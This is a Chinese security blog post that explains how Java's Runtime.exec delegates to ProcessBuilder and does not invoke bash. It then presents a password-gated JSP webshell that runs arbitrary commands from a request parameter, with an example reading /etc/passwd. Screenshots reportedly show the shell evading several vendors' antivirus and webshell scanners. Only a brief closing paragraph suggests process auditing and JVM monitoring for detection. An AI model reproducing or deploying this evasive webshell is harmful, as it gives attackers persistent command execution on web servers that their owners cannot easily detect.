java runtime shell_浅析JAVA Runtime原理与过各大厂商免杀webshell制作

Author:Sevck

Date:2017年6月24日

昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:

我:JAVA在执行命令的时候会不会调用bash?

Feng : processbuilder

我:/**

* Executes the specified command and arguments in a separate process.

**/

publicProcess exec(String cmdarray[]) throws IOException {return exec(cmdarray, null, null);

}

我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:

Runtime执行实例:

Runtime.getRuntime().exec("TODO");

实现代码(文件代码:java/lang/Runtime.java 346 行):

// 方法1

public Process exec(String command) throwsIOException {return exec(command, null, null);

}

// 方法2public Process exec(String command, String[] envp) throwsIOException {return exec(command, envp, null);

}

// 方法3publicProcess exec(String command, String[] envp, File dir)throwsIOException {if (command.length() == 0)throw new IllegalArgumentException("Empty command");

StringTokenizer st= newStringTokenizer(command);

String[] cmdarray= newString[st.countTokens()];for (int i = 0; st.hasMoreTokens(); i++)

cmdarray[i]=st.nextToken();returnexec(cmdarray, envp, dir);

}

// 方法4public Process exec(String cmdarray[]) throwsIOException {return exec(cmdarray, null, null);

}

// 方法5public Process exec(String[] cmdarray, String[] envp) throwsIOException {return exec(cmdarray, envp, null);

// 方法6publicProcess exec(String[] cmdarray, String[] envp, File dir)throwsIOException {return newProcessBuilder(cmdarray)

.environment(envp)

.directory(dir)

.start();

}

}

从上面可以看出几个重要的信息:

方法1和方法2调用的是方法3

方法3调用的是方法6

方法4和方法5调用的也是方法6

方法6创建了一个ProcessBuilder对象

至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。

ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。

Process和ProcessBuilder的关系:

每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。

ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

ProcessBuilder:

java.lang.ProcessBuilder,父类Object.

源码ProcessBuilder类的注释:

This class is used to create operating system processes.

Each ProcessBuilder instance manages a collection of process attributes.

The start() method creates a new Process instance with those attributes.

The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。

除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

利用ProcessBuilder简单写一个webshell:

User: sevck

Date:2017/6/24Time:10:06To changethis template use File | Settings |File Templates.--%>

jsp shell file

/*Use:http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd*/

//Verify OS Windows or Linux

String os = System.getProperty("os.name");if(os.toLowerCase().startsWith("win")){

out.print("windows");

}else{

out.print("Linux");

}if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){//Request Parameter cmd contents conversion String to Strings args.

String command = request.getParameter("cmd");

String [] args= command.split("@");try{//Create Process In the process, the received parameter is an array.

ProcessBuilder pb = newProcessBuilder(args);//Setup Process Output Result (Normal and Error)

pb.redirectErrorStream(true);//Start Process

Process pro =pb.start();

}catch(Exception e){//TODO

String error =e.getMessage();

}

}else{

out.print("业务测试");

}%>

这样,这个webshell就达到了任意命令执行:

d2737e83c0d6a3e836f6b00cae0a4cf1.png

我们利用这个测试一下各大厂商查杀效果:

360:

1cbe081f728f17c10d08d1fe3e8b9d00.png

腾讯:

aaf6452bdf705c099074d812d108bb0b.png

D盾:

e5e32e302de00e0f86ec1227bd5245f1.png

安全狗:

e8c10296bec308d551bdea725d9f5286.png

微步在线:

9b38c5a53ded17081143f6ac6c8abdfd.png

检测与遐想:

Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。

或者从JVM进行监控。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值